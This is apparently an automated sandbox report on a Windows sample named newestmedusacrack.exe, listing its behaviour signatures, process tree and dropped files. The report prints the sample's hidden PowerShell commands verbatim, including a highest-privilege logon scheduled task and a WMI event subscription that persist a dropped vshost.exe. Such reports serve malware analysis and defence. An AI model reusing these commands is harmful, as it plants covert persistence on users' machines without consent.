Analysis
- max time kernel
1s - max time network
5s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
03/05/2026, 15:25
Errors
General
- Target newestmedusacrack.exe
- Size 15.6MB
- Sample260503-st4mcacs71
- SHA256 4d61bcc180a24291e6d092fbe5f1d3903487b61fbf2a1e6ee932e5547da3f380
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Drops startup file 1 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\newestmedusacrack.exe"C:\Users\Admin\AppData\Local\Temp\newestmedusacrack.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c start "" C:\Users\Admin\AppData\Local\Temp\ovld_2667622421\medusalauncher.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\ovld_2667622421\medusalauncher.exeC:\Users\Admin\AppData\Local\Temp\ovld_2667622421\medusalauncher.exe3⤵
- Executes dropped EXE
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'vshost_70325991' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe"1⤵
-
C:\Windows\system32\cmd.execmd /c start "" C:\Users\Admin\AppData\Local\Temp\ovld_1576046749\medusalauncher.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\ovld_1576046749\medusalauncher.exeC:\Users\Admin\AppData\Local\Temp\ovld_1576046749\medusalauncher.exe3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'vshost_70325991' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'vshost_f70325991'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'vshost_c70325991'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='vshost_f70325991'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='vshost_c70325991'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_1yw4bxzy.1sm.ps1
medusalauncher.exe
agent-2890453353.tmp
memory/3040-53-0x000001AC18240000-0x000001AC18252000-memory.dmp
memory/3040-51-0x000001AC16980000-0x000001AC1698C000-memory.dmp
memory/3040-26-0x000001AC30A60000-0x000001AC30B13000-memory.dmp
memory/3040-27-0x000001AC30B20000-0x000001AC30B2A000-memory.dmp
memory/3040-29-0x000001AC30FC0000-0x000001AC30FDC000-memory.dmp
memory/3040-52-0x000001AC308C0000-0x000001AC309AA000-memory.dmp
memory/3040-11-0x000001AC308B0000-0x000001AC308C0000-memory.dmp
memory/3040-25-0x000001AC30A40000-0x000001AC30A5C000-memory.dmp
memory/3040-12-0x000001AC18700000-0x000001AC18722000-memory.dmp
memory/3040-10-0x000001AC308B0000-0x000001AC308C0000-memory.dmp
memory/4280-59-0x0000029CD5A50000-0x0000029CD5A5C000-memory.dmp
memory/4280-61-0x0000029CD5B80000-0x0000029CD5B92000-memory.dmp
memory/4280-60-0x0000029CEDD20000-0x0000029CEDE0A000-memory.dmp
memory/5584-72-0x0000020E83580000-0x0000020E83592000-memory.dmp
memory/5584-71-0x0000020E9B770000-0x0000020E9B85A000-memory.dmp
memory/5584-70-0x0000020E830D0000-0x0000020E830DC000-memory.dmp